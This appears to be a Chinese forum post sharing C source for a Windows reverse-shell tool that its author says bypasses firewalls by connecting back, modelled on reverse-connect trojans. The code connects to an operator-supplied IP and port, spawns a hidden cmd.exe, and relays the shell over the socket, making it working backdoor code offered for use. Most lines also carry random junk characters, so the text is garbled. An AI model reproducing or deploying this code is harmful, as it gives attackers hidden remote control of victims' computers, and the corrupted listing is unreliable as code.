这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V0nQmsP1U
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/* ============================== N^Re
Rebound port in Windows NT P49\A^5S!
By wind,2006/7 nr!N%Hi
===============================*/ &k}f"TX2
#include PVCoXOqh
#include 2xI|G
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#pragma comment(lib,"wsock32.lib") (j:
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void OutputShell(); ~3&{`9Y
SOCKET sClient; rpR${%jc
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; z|l*5@p
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void main(int argc,char **argv) '%Ng lC[J
{ 4.RQ3SoDa
WSADATA stWsaData; 9njwAKF?
int nRet; Tg\bpLk0=
SOCKADDR_IN stSaiClient,stSaiServer; %Tm*^
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if(argc != 3) a)qan
{ M^FY6TT4O
printf("Useage:\n\rRebound DestIP DestPort\n"); NTg@UT<
return; 3*b5V<}'|
} "LMj,qZ1!
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WSAStartup(MAKEWORD(2,2),&stWsaData); :GHv3hn5
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _VtQMg|u
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stSaiClient.sin_family = AF_INET; r"h;JC/&<T
stSaiClient.sin_port = htons(0); )Fw/Cu
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @-N` W9
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ _73q,3`24
printf("Bind Socket Failed!\n"); "q@m6fs
return; c0!.ei
} G0cG%sIl
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stSaiServer.sin_family = AF_INET; cr7MvXF-
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /7Q|D sa
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5j%G7.S\
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3a/n/_D
{ JAbUK[:K
printf("Connect Error!"); Cj5mM[:s
return; =x~I'|%3
} V\~.
OutputShell(); H=dIZ
} x)5}:b1B=
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void OutputShell() )U^=`* 7
{ $JE,u'JQ
char szBuff[1024]; "TRS(d|3
SECURITY_ATTRIBUTES stSecurityAttributes; a6p0_-MF
OSVERSIONINFO stOsversionInfo; jW/WG tz
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *4,Q9K_
STARTUPINFO stStartupInfo; R!nf^*~
char *szShell; p|UL<M9{a]
PROCESS_INFORMATION stProcessInformation; VK}4<u
unsigned long lBytesRead; <}a?<):S
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =w2 4(S
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); X-pbSq~5
stSecurityAttributes.lpSecurityDescriptor = 0; ]5Cr$%H=
stSecurityAttributes.bInheritHandle = TRUE; 4WT[(
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); V>6klA}o
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); p8Vqy-:
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); oqrx7+0{
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7*:zN
stStartupInfo.wShowWindow = SW_HIDE; m*0YMS>Y |
stStartupInfo.hStdInput = hReadPipe; XqH@3Ehk
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1ni+)p>]
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GetVersionEx(&stOsversionInfo); {UNH?2
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switch(stOsversionInfo.dwPlatformId) *_V+K
{ Xfiwblg
case 1: Szo'[/
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szShell = "command.com"; {QG.> lB
break; ~(kEGEF
default: .#EU@Hc
szShell = "cmd.exe"; 72HA.!ry
break; E^8|xT'h6
} \aSP7DzqQ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [6GYYu\
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send(sClient,szMsg,77,0); y6(PG:L
while(1) 1NYR8W]2
{ KsDS!O
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); F:j@ JMpQ
if(lBytesRead) ^WA7X9ed
{ r$jWjb
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :!gNOR6Lh
send(sClient,szBuff,lBytesRead,0); 6St=r)_
} J)nK9
else RpdUR*K9x
{ O'4G'H)
lBytesRead=recv(sClient,szBuff,1024,0); ~nZcA^b#DQ
if(lBytesRead<=0) break; g`fG84
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K EAXDF
} QM,#:m1o
} \gA!)q.;
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return; ]b-2:M
}